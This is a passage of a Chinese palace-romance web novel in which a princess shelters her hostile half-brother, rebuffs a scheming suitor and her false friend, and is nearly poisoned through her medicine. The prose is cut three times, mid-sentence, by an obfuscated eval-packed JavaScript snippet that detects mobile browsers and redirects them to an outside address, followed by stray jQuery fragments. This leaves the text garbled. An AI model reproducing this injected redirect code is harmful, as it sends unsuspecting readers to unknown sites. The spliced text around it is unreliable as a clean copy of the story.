翊文帝听后大为震怒,拍下桌子放言道:“阿绥,你放手去查。” “还有萧家。” 沈燕栖叮嘱道:“父皇也要提防。” * 从太极殿回去的路上,崔嬷嬷差人来报,说梁钧已经醒来了。 来报的宫人神情很是焦急,从只言片语里,沈燕栖能感受到长乐宫里混乱的状况。 她庆幸自己走前让人在殿内的香炉里添了疲软筋骨的香料,不然按照梁钧这一身本领,非要把她的长乐宫屋顶掀翻。 刚走到偏殿,崔嬷嬷和鸣玉衔霜两个丫鬟都在门口候着。 沈燕栖睨了一眼,随口问:“你们怎么不进去。” “奴婢……不敢。”衔霜怵得最厉害,她胆儿小,连说话的音调都打颤,“公主您进去看一眼就知道了,这三皇子……望人的眼神阴森森的,太渗人了些。” 话音刚落,崔嬷嬷立刻出声训斥道:“在宫中的规矩忘了吗,怎么敢诋毁主子?” 这三皇子身份再如何不济,私底下大家再如何鄙夷,明面上他仍然是大乾的皇子,是他们的主子。 “又不是鬼,有什么吓人的。” 梦里醒来后沈燕栖胆子变得格外大,她在心里腹诽,比起人心里的盘算,便是真的鬼在,也没什么可怕的。 她推门走进去,站在窗边的光影下静静地看着他。 …… 与此同时,梁钧自柔软锦榻上醒来,他睁开眼,入目是奢华的锦绣帷幔,身下陷着的被褥柔软顺滑,将他的手脚不着痕迹的缚住,任凭他如何挣扎,就是使不上半分力气。 他喉间发涩,嗅出了空气里漂浮着的微末香气——是安神香混合着软筋散的味道。 这种香气他很熟悉,那些人想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341123|199330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折辱他,却打不过他,便会在他的饭食里下这种药。 明明是一群弱者,却偏偏喜欢用阴毒伎俩去欺辱别人。 梁钧挣扎着坐起来,他额间因为挣扎出了一层薄汗,又加之发热的原因,整张脸覆了一层薄红。 那双本就漆黑冷淡的双眸锐利地看向她,瞳仁里翻涌着暴戾阴鸷的怒火,让人有种下一秒他就要生扑过来的错觉。 沈燕栖这会儿心里也有点发怵了,迈着小碎步朝他榻前慢慢靠近。 她捏着手帕遮掩住口鼻,拎起香炉盖,又少少添了一勺软筋散。 这一切都是当着梁钧的面做的,放下勺子的时候,梁钧扯唇嗤笑一声。 那双本就病态苍白的唇,此刻因为愤怒而抿紧,带着几分激怒的意味哑声道:“与其折辱我,不如直接杀了我。” “怎么,你不敢吗?” 沈燕栖蓦然睁大了眼睛,她丢掉帕子,三两步迈到他面前,表情很是精彩。 “皇兄,你说我折辱你?” 她好心找人为他腾出偏殿,要给他换上新衣,治疗伤处,如此悉心照料一整夜,他居然认为这是一种折辱。 沈燕栖很不高兴地伸出手:“你把昨晚吃我的那颗药吐给我。” 很贵的。 梁钧沉默地注视着她,视线下她一双素手生的极软,指节纤细莹白,通身像一块上好的羊脂玉瓶,纯洁无瑕。 他眼睫敛下,遮住了眼底那股浓郁到化不开的阴郁。 好,是她偏要招惹他的。 梁钧忽然抬起手,那双偏执,病态的眼眸抬起,他挣扎着发出一声低沉的喘/息,忽然俯下身重重咬住了她的指尖。 “啊。” 沈燕栖尖叫出声,连声向后退,她的尖叫声将门外的守卫吸引进来,一时间,整个殿内布满人。 那些身着金色盔甲的士兵严阵以待,只等她一声命令,便将袭击公主的歹人拿下。 沈燕栖低下头盯着自己指尖破皮的伤口,“嘶”了声,忍不住骂了句,“你属狗的吗?” 梁钧双手撑在身后,绸缎似的长发如瀑布散乱在身后,松垮单薄的里衣,因为挣扎露出冷白分明的锁骨,此刻满是狼狈地瘫倒在床上。 他偏过头重重咳了两声,脸上的病气掩不住,唇间却勾起一抹极浅淡的笑容,冷冷嘲弄一般看向他们。 明明被囚禁,被束缚,处于下位,可他偏偏一副不畏不惧的模样。 自始至终只是沉默地注视着她,没有愤怒,没有尴尬,一丝一毫多余的情绪都没有,他只用那双空洞漠然的眸子漫不经心看着她。 像被人剪断线的提线木偶。 了无生机。 “你们都下去吧,他是我的皇兄,是不会害我的。” 沈燕栖擦干净手上的血渍,她慢慢走到他身旁,走路时悬在腰间的环佩几个打撞在一起,发出清脆悦耳的声音。 她伸出手,同他好好讲道理。 “皇兄,你听我说话,我就把软筋散的解药给你好不好?” 梁钧抬眸看她,一双秋水似的眸子盈盈,她笑起来眉眼弯弯最是动人,活脱脱像是一汪引人溺毙的温柔乡。 他暗自调动内力,已经渐渐解了药劲。 如今双手恢复了力气,梁钧目光淡淡扫过她纤细修长的脖颈,他眯了下眼睛,无声地丈量了一番,估摸着自己一只手张开,掐死她应该是轻而易举的一件事。 落在她后背的手慢慢抬起,梁钧眸光暗下去,却在贴近她后颈的一瞬间,感受到她柔软的掌心贴过他的面颊。 一阵暗香浮来,沈燕栖捏住他下颌,丢了个什么东西进去。 她眉眼弯弯问他:“甜吗?” 4. 第 4 章 04 梁钧肩头微微一耸。 沈燕栖像是发现了什么,亮着眼睛朝他望过去。 她试探着又连连叫了几声:“皇兄?皇兄!” 梁钧终于忍无可忍开口:“你别这么叫我。” 她佯装恍然大悟:“皇兄,原来你不是哑巴啊。” 那做什么不开口。 梁钧喉间一滞,少女的嗓音犹如春时黄莺,娇脆动人,比刚刚囫囵咬下的一颗饴糖还要甜。 他几乎有种错觉,觉得自己吸入的软筋散还没有完全解下,抑或是这房间里的香气太重,他又中了一遍药。 沈燕栖主动向他介绍自己:“我叫沈燕栖,排行第三。” 安静了会儿,她试探着说:“承德是我的封号,你也可以这么叫我。” 梁钧还是不说话,低垂的睫毛敛下一切情绪,他面容冷峻,神情冷淡,未曾因为她的主动亲昵有一丝一毫的动容。 沈燕栖脸上一闪而过的挫败,她咬紧下唇,不折不挠在他耳边低声道,“你我是这世间最亲近的兄妹,你也可以叫我妹妹。” 须臾,梁钧困惑出声:“妹妹?” 沈燕栖却是清脆一声应下:“哎,皇兄!” 梁钧肩头再度一抖,那双无波澜的眼眸生平头一回闪过一抹懊恼,他居然就这么稀里糊涂地被她骗下认了这个称呼。 果然温柔乡,招招要人命。 他又不肯说话了,紧抿的唇绷成一条平直的线,冷峻的下颌线条分明,身上的每一寸线条都闪烁着生人勿近的疏离冷淡。 眼见梁钧就要生气,沈燕栖赶紧从一旁的柜子里取出另一件东西——一盏用橙黄萤石雕琢而成的月亮灯。 她小心翼翼将这盏灯放在炭火盆前,在高温之下,这盏月亮灯发出皎洁的光芒,宛若一轮真的月亮。 沈燕栖抬起头,眸光在火光下璀璨地望向他。 尾调上扬,带着一股明显的得意神色向他邀功—— “你要的月亮。” …… 在昏睡中,梁钧一直低声呓语,好似进了梦魇一般。 他身上陈年旧伤太多,三位太医轮番上阵,又有鸣玉在身旁守着喂汤药。 沈燕栖靠近的时候,听他口中念着“月亮”。 鸣玉搅动着碗里的勺子,忽然开口说,“奴婢听兄长说他们在大漠驻守边关之时,夜里最喜欢看月亮,月亮代表家的方向,想念亲人的时候就看一看。” 沈燕栖听到这话,顿了很久。 鸣玉的兄长是太子麾下的一个副将,跟着太子出生入死多年,长安岭之战,他也死在了那里。 沈燕栖自然知道月亮代表什么含义。 在每年的中秋月夜,阿兄在边关赶不回来的时候,她一个人偷偷跑上城墙,看雍州明月当空。 那时候她看着月亮,也在心里默默思念。 所以沈燕栖给他准备了一盏月亮灯,做的时候她忍不住偷偷落下一滴泪,又旁若无人的擦掉。 “不好看。” 梁钧低头瞥了眼被硬塞在手里的灯,萤石表面被打磨的粗糙不平,很难相信这等技艺是出自皇室工匠之手。 更重要的是,他早就过了喜欢这种小玩意的年纪。 他看向这个在血缘上应该被称作自己“妹妹”的人,巴掌大的脸,眼睛像猫儿一样灵动明亮,因为听到这句话蓦然睁圆的眼睛。 果然,下一秒像被踩到尾巴的猫一样瞪向他。 很是娇蛮道:“不好看你也要收下。” “本公主送出去的心意,你必须要珍藏。” 难得一次做手工,偏偏收到礼物之人嫌弃的神色是这般明显,沈燕栖自尊心被小小打击到,她有些恼羞成怒,转头就走,不给他任何拒绝的机会。 她走时,衣裙带出一阵风,一阵茉莉的清香裹挟着飘进来,让人恍惚以为冬雪消融,春日已至。 梁钧默不作声地看着她愤愤离开的背影,沉默地弯下腰,捡起她掉落在地上的绒球。 * 陈崇桢已经在长乐宫门外等候多时了。 得到这个消息的时候,沈燕栖正在殿内下棋,她一个执黑白子互相对弈,玩了会儿觉得好没意思,扔了棋子不再玩。 宫内一应人等都已退下,唯有衔霜和鸣玉两个婢女大眼瞪小眼,低声议论着。 “往日公主殿下不是很期待见到陈公子吗?怎么这几天都躲着不见。” “也许花月夜灯会那晚,陈公子彻底伤了公主的心。” “你们两个当我听不见是不是?” 沈燕栖话虽训斥,却听不出一点儿生气的意思,毕竟这两个丫鬟是自小一直跟着她长大的。 她抬了抬下巴道:“厨房做了糖酪浇樱桃,你们两个替我去尝尝味道。” 殿内的人全都撤下了。 空气里寂静无声,连窗外枯叶落下的声音都分明。 在这片静谧之中,沈燕栖的声音在大殿中忽然响起。 “影卫。” 三秒后,一道人影出现在她面前。 饶是提前做好了准备,沈燕栖还是被吓了一跳。 来人是个年岁和她差不多大的小姑娘,沈燕栖偏头看了一眼,觉得她们两个人身量似乎也差不多,只不过对面因为常年习武的原因,比她要壮实些。 这女子沉声问:“敢问公主有何吩咐。” 陈郡谢氏是她的母族,谢家百年清流,天下门客无数,可以说大半个朝堂都曾经在谢氏书院就读过。 只是多年前自谢太傅以帝师身份致仕后,谢氏族人遵循族规,再也不踏足朝堂,只专心做山野间的讲师。 谢氏会为族中每一个孩子秘密培养一个影卫,影卫,顾名思义,如影随形。 他会是皇宫花园里的一名花匠,会是殿前的值守侍卫。 影卫会出现在她生活中最近的地方,寸步不离的守护她的安全。 沈燕栖这还是第一次召见他。 她问:“你叫什么名字?” 小姑娘站在阴暗处,一半的面庞看不清,一双黝黑的大眼睛,正忽闪忽闪地盯着她看。 听到这个问题,似乎愣住了,过了好一会才闷闷回答,“我没有名字。” 她只是影子而已,影子是不需要有名字的。 沈燕栖认真想了想:“那我叫你阿弦吧,琴弦坚韧而又柔软,恰好就像你一样。” 阿弦被夸的有些不好意思起来,低着头应了声。 “来都来了,顺便帮我查个人吧。” 沈燕栖拿起笔,缓缓在字条上写了一个名字,她递过去,无比郑重道,“萧妙瑜,不仅要查她的全部消息,我还要整个萧家的信息。” 阿弦说:“可我的任务是寸步不离保护公主的安危。” “保护我的人选,我自有安排,你不用担心我的安危。” 说完,她偏头望向窗外。 殿外花园内,梁钧正在练剑,他被她困在长乐宫里出不去,一肚子气没地方撒,就逮着她院子里那颗红枫叶树祸害。 赤红色的叶子飘零散落,他出招的剑法又狠又凌厉,如长枪穿云,带着一击致命的杀意。 这样的招数也不知道是谁教给他的。 沈燕栖觉得等调查完萧妙瑜,她也得好好调查一下这位三皇兄。 阿弦不再多言,领了命令就要离开。 沈燕栖唤住了她,把桌上一碗刚做好的金乳酥推到她面前。 “很甜的,你拿去尝尝。” 阿弦一下乱了脚步,抱着一盏金乳酥,呐呐说了声“谢谢”,脚下轻功一展,又“嗖”得一下消失。 等鸣玉把做好的糖酪浇樱桃端上来的时候,又过了小半个时辰。 天渐渐要暗下去了,陈崇桢一直在东华门外站着,来来往往的宫人不止,崔嬷嬷来了一会儿,脸上的神色不大好看,问要不要把人打发了。 沈燕栖想了会,抬头看了眼天色。 “罢了,赶在宫门落钥前我见他一面吧。” 陈崇桢这个人她最了解,出生自微末寒流,自读书时就分外用功,十六岁时连中三元,力压众权贵成为天下第一状元郎。 他有野心,有才干,唯独没有出身,所以在很多事情上行事偏激,不达目的誓不罢休。 他想要见她一面。 哪怕今天不见,明日,后日,哪怕是日日,他都一定会再来。 宫门外,沈燕栖目光低垂,过了会儿,她开口问,“你找我,有什么事?” “天晚愈寒,你身体受不住冷风,阿绥,不如跟着我上马车详谈,我命人做了你最爱的金乳酥,现下还温着。” “陈大人既然知道我身体不好,又为何在宫门外守至此刻,逼我出现?” 沈燕栖缓缓勾起唇角,嘲讽道,“听闻不日陈大人便要升离京赴任,我这边提前恭祝大人步步高升。” 她一口一句“大人”,言语刺骨。 陈崇桢脸上露出些痛苦神色,抬起的手几度挣扎,最终,他微微侧身挡在风口之处,一袭白衫被风吹得扬起,更显身姿飘逸出尘。 “阿绥,你可是怪我?” 沈燕栖向后退了一步,她垂着眸光,轻声道:“没什么好怪的,各人的选择都不同,只是我和萧家,注定是水火不容的。” 她望向他,眸光轻轻闪烁,记忆不自觉回到那个梦里。 其实沈燕栖真的很想开口问一问陈崇桢,那日宫变他是否提前知道什么消息,那一箭穿心的刺痛,是否他也是知晓的。 她双唇微微颤动,此时此刻却胆怯,不敢将这个问题明明白白问下去。 既然是一场梦,便糊涂的梦过去吧。 陈崇桢微微启唇,片刻,却一个字也发不出。 于这件事上,他无可辩驳。 “抱歉,阿绥。” 他偏过头,神色万分痛苦道,“但我做的一切都是有苦衷的。” 沈燕栖轻叹一声:“这世上谁还没有一点苦衷了。” “你一直都知道萧妙瑜是假意和我交好吧?” 陈崇桢瞳孔骤锁,他是最了解她秉性的,厌恶欺瞒,讨厌一切不够纯粹的关系。 他拨了她逆鳞,此刻有些后知后觉的害怕来,如玉的姿容顷刻瓦解,反倒语气焦急地向她解释。 “萧家和你,我选你。” 陈崇桢急急向她剖白心意:“那年春闱赶考,我的一切就都已经奉给公主了。” …… 从东华门出来后,沈燕栖整张脸上如火烧一般,天边艳丽的云彩堆成了卷,她快步向宫里的方向走。 背后,慢慢关上的宫门,陈崇桢仍然安静地注视着她,连一丝缝隙都不肯放过。 鸣玉深吐一口气,拍着脸道:“陈郎君怎么能忽然说出这样孟浪的话。” 什么心啊身啊,什么奉给公主。 这哪里是读书人能够说出来的话。 再看沈燕栖,步子比平素快了些,气息也比平素乱了不少,她是因为陈崇桢的一番话有些动容的,但很快又冷静下来。 “他若还同萧妙瑜这样,我便不会选他。” 沈燕栖扬声道:“天下儿郎诸多,我又不是非他不可。” “可若真是如陈郎君所说,都只是权宜之计呢。”鸣玉忍不住为陈崇桢说好话,“说不准他接近萧家,就是为了公主呢。” 若真是如此…… 沈燕栖帕子都拧在了一处,什么情爱她哪里懂得明白,脑子里各种思绪扯在一块,又听鸣玉在耳边念叨着陈崇桢的好来。 当下也随口道:“若他真心为我,我必然也真心相报,说来他家世清白,又无妯娌亲族,人也懂情/调知礼数,做驸马的确是再好不过……” 话音刚落,沈燕栖脚步猛地停下来。 暮色沉没,最后一缕残阳在空中留下浓墨重彩的一笔,宫道两侧的油灯尚未被点燃,四下里一片半明半暗的昏沉里,静得只剩下风刮过甬道的飒飒声,有股说不上来的阴冷。 有人在窥视她。 这目光像蛇,黏腻缠绕着,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341124|199330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寸又一寸略过她的面容往下。 沈燕栖咽了下口水,下意识屏息,目光朝一旁朱红色的宫墙转角处望去——梁钧站在青瓦红墙下,身影几乎嵌没阴暗处,如一棵僵直的树,连呼吸都微不可闻。 他长得本就极艳,冷白到近乎透明的肌肤,垂落在眉心的黑发透亮,遮住一双在黑夜里深不见底的眼眸。 此刻目光阴冷黏腻地注视着她,活脱脱像从冷宫禁苑里爬出来的一只恶鬼。 沈燕栖虽然被吓了一跳,却还是认出了他,当下笑吟吟走过去唤了声“皇兄”。 梁钧偏了下头,在阴影处的唇角微微扯动,生疏而又凝涩地唤她:“妹妹。” 他目光静静落在她脸上,唇角勾起的弧度带着几分阴测测的凉意。 “他也是你的兄长吗?” 沈燕栖被吓了一跳,也反应过来他应当是看见她和陈崇桢见面时的场景了。 梁钧是什么时候在的? 他一直都这么悄无声息地站在暗处窥探她吗? 想到这儿,沈燕栖双肩一抖,莫名觉得有些阴冷,她没想到他如此不通人事,居然连基本的人伦纲常都不明白。 便轻叹一口气对他道:“不是的,这世间只有你,是我唯一的皇兄。” 风穿过树间簌簌作响,今日天色奇怪,夕阳落下后天很快就不好了,乌云沉沉的压下来,似乎有风雨欲来之势。 沈燕栖抬起腿快步往长乐宫的方向走,然而,不论她走的多块,身后那道黏腻的视线一刻也未曾消失。 她心跳渐渐加快起来,拐弯的间隙扭过头去看,却见梁钧神色如常,慢条斯理跟在她身后。 一切如常。 被窥视好像只是她的错觉而已。 回到长乐宫后,沈燕栖如平常一般命人备水沐浴,崔嬷嬷捧来晚膳单子和她核对。 她向来在吃食上没什么兴趣,还是如从前挑了几道甜食佐药,刚打算歇一会,便听崔嬷嬷小声道:“今天三皇子去国子监上课,把人打了。” 沈燕栖眉心一跳,顿觉不妙。 “打了谁?” 崔嬷嬷语气还算镇定:“都打了,官宦子弟一个没落,估计明日参他的折子就要堆到陛下跟前了。” 沈燕栖嘴角抽了抽,她这位皇兄找麻烦的方法还真是一如既往的干脆利落。 她只是一会儿没有看着他,他便给她惹了这么多的事。 可沈燕栖向来是个不服输的女娘,他这样做反倒激发了她的斗志。 她偏要打动他,偏要让他听话,只臣服她一个人。 沈燕栖扬声道:“那皇兄现在在何处?” “大约回掖庭了。” “嬷嬷,你带几个侍卫直接把他请回来,就说我要见他,请不回来就捆回来,有什么用什么,把人带回来就行了。” 人是她从掖庭带出来的,三皇子的名号也是她打出来的。 若当真惹来什么事,韦氏借此发难,第一个倒霉的便是她。 夜色渐深,梁钧被带到沈燕栖面前已经是一个时辰以后。 她刚沐浴完,身上披了件石榴红色的外袍,衬得肌肤胜雪,散下来的乌发如绸,还沾染了些氤氲雾气,显得面容愈发似仙似幻。 想到明日朝堂上的责难,沈燕栖顿觉头痛,眼下看他再漂亮的一张脸都没用,只觉得气不打一处来。 她究竟是捡了个排忧解难的兄长回来,还是捡了个为祸地方的魔王? 夜深已卷,沈燕栖掀被下床,也懒得和他再多废话。 她走到他身边,低下头捏住他的腕骨,摸出一截红绳扣在上面。 这东西材质特殊,形似红绳,却远远比绳索要坚固,水火不侵,非刀剑可以断开。 沈燕栖当着他的面将两个人的手绑在一处,面无表情看着他说:“好了皇兄,从今天开始你就在我身边寸步不离。” 至少在他学会不惹麻烦之前,她得看着他。 黑夜里,长乐宫里只点了远处的两盏宫灯,沈燕栖目难视物,只摸索着走到榻前,期间因为他的不配合,险些往前踉跄了两步。 这根绳的距离刚刚好。 她睡榻上,梁钧睡在她床下。 床下沈燕栖早已命人铺了厚厚的褥子,又用她喜爱的茉莉香油浸了浸,被子里塞了两个暖和的汤婆子,想来也不算是折辱他。 今夜果然有一场雨要下,急雨过境,庭院里的芭蕉树被打得簌簌作响。 沈燕栖紧闭双眼,在床上翻来覆去怎么也睡不着,满心里想的都是梁钧。 他太奇怪了,从刚刚进来就一副逆来顺受的模样,任凭她说什么,都只是垂着眼睫,安静地站在她身后。 想着想着,沈燕栖渐渐陷入了昏睡中。 只是她睡时不大安稳,唇齿间偶尔泻出几声咳音,无意识垂下的指尖,腕骨缠绕着的红线鲜明而又醒目。 黑暗中,梁钧慢慢从她床边爬了起来。 他屈膝跪在她床下,阴沉的眉眼一寸寸扫过她的脸庞,从那双睫毛轻颤的眼睛到病弱苍白的嘴唇,柔弱的好像浸润在温水里的一块软玉,脆弱的轻轻一磕碰便要碎裂。 他有点想吃掉她。 梁钧偏了下头,舌尖微翘,低下头将两人手腕间的红线咬住。 他低低喘了口气,抬起的双手难以自抑地拢住她纤细的脖颈,她在他眼里是这么柔弱。 只要轻轻一拢,顷刻之间便能要了她的命。 床榻之下,她居然对他这么毫无防备。 梁钧眸光愈发幽暗,在夜色中的身影如同鬼魅,湿冷地窥伺着她。 忽然沈燕栖动了下,淡色的唇微微翕动。 梁钧慢慢俯下身来,他偏过头,将耳朵贴近她的唇,不留一寸缝隙。 她被闷的有些喘不过来气,急促的呼吸灼热喷洒在他的耳后,连带着所有低喃的呓语都被他沉沉吞下。 梁钧眸光翻涌着,隐隐变得兴奋起来。 她一直在唤他。 她在睡梦中都在唤“阿兄”这两个字。 5. 第 5 章 05 一夜雨疏风骤,天色大亮,澄净一片。 沈燕栖难得睡了个好觉,醒来时觉得浑身轻松,只是唇角干涩,隐有干裂之症。 她不疑有他,叫人拿了润唇的口脂来涂抹,醒神时却见梁钧不知何时坐了起来,正双臂趴在她床边小憩。 崔嬷嬷进来为她梳洗时皱起眉头道:“公主,这不合礼数,虽是兄妹,可也没有这样的。” “我知道的嬷嬷,我就吓吓他,省的他这几日在外面胡作非为。” 沈燕栖抬了抬手:“你看这红绳也是戴着玩的,一晚过去了自己就掉下来了。” 昨夜殿内虽然烧了炭火,睡在床下的滋味总归也是不好受的。 沈燕栖也只能想出这样的法子搓磨一二,折一折他的任性。 今日,是她和梁钧一同去国子监上学的日子。 昨天听崔嬷嬷说了些学堂里的情况,只知道他打了人,但沈燕栖想,他总不会平白无故便冲上去打一架,必然是有什么缘由在的。 今天她便亲自跟去看一看。 因为前段时间生病的原因,沈燕栖有一段时间没来学堂了。 如同平时一样,她径直走向自己的位置——前排近窗,光线最明亮的一处地方,宫人提前备好了软垫,冬日寒凉,上头铺了一层厚厚的熊皮,旁边暖炉,砚台笔洗各个物件一应俱全。 “许久没见你来学堂了,可是身体好些了。” 萧妙瑜关切地看着她说:“那日宫宴结束后就没见你出来过,可是有病着了?” 她哪里是病着了,分明是被梁钧缠得脱不开身。 这魔王只要一脱离她的视线就会闯祸,御史台的折子摞得一本比一比高,她恨不得寸步不离把梁钧带在身边。 有时候沈燕栖自己都感慨,这哪里是多了个皇兄,分明是多了个活祖宗。 “还好,我一直都如此。” 听到她的话,萧妙瑜神色间多了些探究。 她总觉得这几日沈燕栖对她的态度不对,若按照以前来学堂必然第一个知会她,可今日态度冷冷淡淡。 萧妙瑜试探地问:“承德公主,可是我有什么地方做的令你不高兴了?” 沈燕栖看着她道:“你是我的伴读,按道理来说现下你应当为我研磨。” 此话一出,萧妙瑜脸色顿时不大好看起来。 当时萧太尉为了让她和沈燕栖多接触,特意向陛下请了公主伴读这个身份,这身份听起来尊贵,可对于萧妙瑜这样的贵女而言,是绝对做不出端水研磨这样伺候人的活计的。 平时沈燕栖和她交好,也从舍不得让她做这样的事。 今日到底是怎么了。 周围其他贵女奚落的笑声不轻不重响起来,萧妙瑜脸色顿时变得难看起来,强忍着走到她面前。 沈燕栖又问:“三皇兄的位子在哪?” 周围一下都变得安静起来,大家低头不语,暗中交换眼神。 “你们不说,那我便自己去找。” 沈燕栖站起身走出门外四下逡巡,她的视线忽然顿住,门外廊庑的转角处被人安了一张破旧的桌子,而梁钧顶着寒风,正坐在这张桌前。 正是风口,他只穿一件单薄的衣袍,裸露在外的指骨冻的通红。 听见动静,抬起苍白赢弱的脸庞看向她。 他刚想要说话,便倒灌一口冷风咳嗽不止,眼尾扫出一片红,看起来格外楚楚可怜。 沈燕栖大怒,回头冲里面的人喊道:“谁把三皇子的席位安排在这里的。” “苗人血统,哪里配和我们在一处。” “再说了,陛下哪里承认他是三皇子了。承德公主,您身份尊贵,可万万不要被一个掖庭的罪奴蛊惑,失了身份。” 沈燕栖冷笑不止:“你一口一个罪奴,可敢和我一同去陛下面前对峙?看他是认你的话,还是认我的话?” 她气度不减,将这群养尊处优的贵女逼得呐呐无言。 沈燕栖迈过门槛,径直走向梁钧面前,绛红色的罗裙在风里轻扬,她脸上的神情娇蛮傲气,却并不令人讨厌。 当着众人的面,她直接命人抬走那张陈旧书案,牵起他的手徐徐走进内室。 沈燕栖压着梁钧的肩膀坐了下来,她命人将他的书册都摆在她身旁的位置。 如今他和她一样,都坐在第一排万众瞩目的位置。 “今日我便在此放话,这宫里谁再敢欺辱他,便是和我过不去。” 梁钧眸光微动。 他没说话,只是觉得手指被她触碰过的地方,好痒。 一旁的萧妙瑜刚磨完墨,就见原本属于自己的位置被占去,她愤愤不平瞪了梁钧一眼。 “公主,你知道昨日明明就是……” 她话还没说完,梁钧目光幽幽看过来,他的嗓音有些低哑,“天寒地冻,萧娘子出宫小心些。” 萧妙瑜浑身一抖,忽然闭上了嘴。 昨天她们不是没见过梁钧的手段,他出手狠厉干脆,出言讥讽他的那位女娘听说回去便脸上生疮,口舌流脓,请了好几位郎中都不见好。 今日大家都已经对他十分忌惮,不打算生事。 谁知道这位三皇子自己跑到廊庑下的风口坐着了。 苗国人真阴险! 萧妙瑜在心里偷偷骂了两声,她也不敢挨着梁钧坐,只能自己跑到后面找个空位坐下。 一节课上的相安无事。 下课后,沈燕栖再也撑不住,拿帕子掩面咳个不停。 人果然还是不能太装,刚刚在诸位贵女面前逞了威风,这下报应来了。 咳得最厉害的时候,有人轻轻推开了窗户。 正是刚准备出宫的陈崇桢,早晨拜访萧府的时候无意间得知承德公主要重回国子监的消息,鬼使神差的他来到这儿。 听她咳得厉害,他心里揪作一团,赶紧取出一方叠得整整齐齐的手帕递给她。 陈崇桢温声道:“这是我用枇杷水浸润过的帕子,你闻一闻,应当能缓解你的咳嗽。” 他抬起手轻轻拍了拍她的后背,嗓音如山涧溪流清润,带着一股安抚人心的意味。 “使劲嗅一下,对,缓一口气,慢慢来。” 沈燕栖的咳嗽声渐渐止了下来,她眼角一片通红,下意识伸手去揉,指尖刚抬起便触到一块柔软的帕子。 陈崇桢重新给她拿了一块袖着松竹纹的帕子:“用这个。” 他极会揣摩她的心思,甚至堪称是无微不至的照顾。 沈燕栖脑海里蓦然又想起和鸣玉的对话来。 不管从哪个方面来说,陈崇桢的确是一个很适合当夫婿的人。 她眸光轻颤,指尖用力捏着这方帕子,混着青艾味的帕子和刚刚那方枇杷水的揉在一起,既清且甜的气息,令人一时间也贪恋起来了。 “你今日……” 沈燕栖刚开口,身边的梁钧忽然站起来,他抬起手臂搁笔,不经意间撞到她的手肘。 她指尖一松,那方帕子慢慢落在了地上。 在沈燕栖还没有反应过来时,梁钧抬起手,无意间露出被勒出红痕的双腕。 他目光轻轻落在她脸上,用一种低哑缠人的语调问她—— “妹妹今晚还要绑着我睡吗?” 沈燕栖蓦然睁大眼睛,像是被掐住喉咙发出的尖细嗓音一般。 她几乎要失声道:“你在胡说什么啊,皇兄。” 梁钧无辜地看向她,伸出的双腕肌肤冷白,也因此被困缚住的勒痕格外明显。 沈燕栖下意识将手背在身后,她不着痕迹扯了下衣袖,略有不自然地扯了下唇角。 “陈崇桢,皇兄他的意思是……” “公主不必对我解释。” 陈崇桢徐徐开口:“您做什么,臣都可以接受。” 只是……他的目光淡淡落在面前的梁钧脸上,带了点审度的意味打量下来。 也许是他的错觉。 他总觉得眼前这位三皇子隐隐约约有窥伺的意味。 * 晚膳是在长乐宫用的,崔嬷嬷的手艺没的说,一道栗子甜粥开了胃,沈燕栖比平时要多用了些。 半个时辰后,宫人端来了药。 沈燕栖瞥了一眼,幽幽叹了口气,对上崔嬷嬷的目光又无可奈何地伸出手,认命一般端起药碗。 她在喝药这件事上向来磨蹭,勺子搅着有一搭没一搭说着闲话。 “你是外头伺候的吧?我怎么从来没见过你?” 沈燕栖随口道:“鸣玉和衔霜呢,往常煎药的活计不是她们亲自做吗?” 崔嬷嬷也觉得奇怪呢。 “奴婢今天也没吩咐她们去做旁的事啊,难道被别的事牵绊住了吗?” 也许她们姊妹二人结伴出去玩了。 沈燕栖没放在心里,她对宫人管理向来懒散,见崔嬷嬷在旁边目光灼灼地盯着,也知道不好退却了。 刚准备仰头一口饮尽的时候,梁钧忽然淡淡开口,“这里面有毒。” 沈燕栖手一抖,被他这句话吓得险些握不住碗。 崔嬷嬷立刻嚷道:“来人,拿下她!” 话音刚落,阿弦翻窗跃入,抬起一脚将人踹翻在地,熟练地搜去身上匕首毒药等物,再捏住下颌检查舌间毒物,一整套流程得心应手,看的崔嬷嬷下巴差点掉到地上。 没想到守在公主身旁的这个小女娘,却是个不输男子的厉害角色。 “把人送下去审吧。” 沈燕栖偏过头来问:“皇兄,你知道这里面是什么毒吗?” 她把药碗递给他,莹润的指尖不经意刮过他掌心的位置。 梁钧浑身一凛,呼吸重了些。 “是苗国的断肠草,不会立刻要命,但人会一天天衰弱下去,死状无比凄惨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341125|199330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。如果和乌头花一起混用,不仅痛苦加倍,而且会死得很快。” 他随口问:“谁想杀你?” 谁想杀她呢? 太多了。 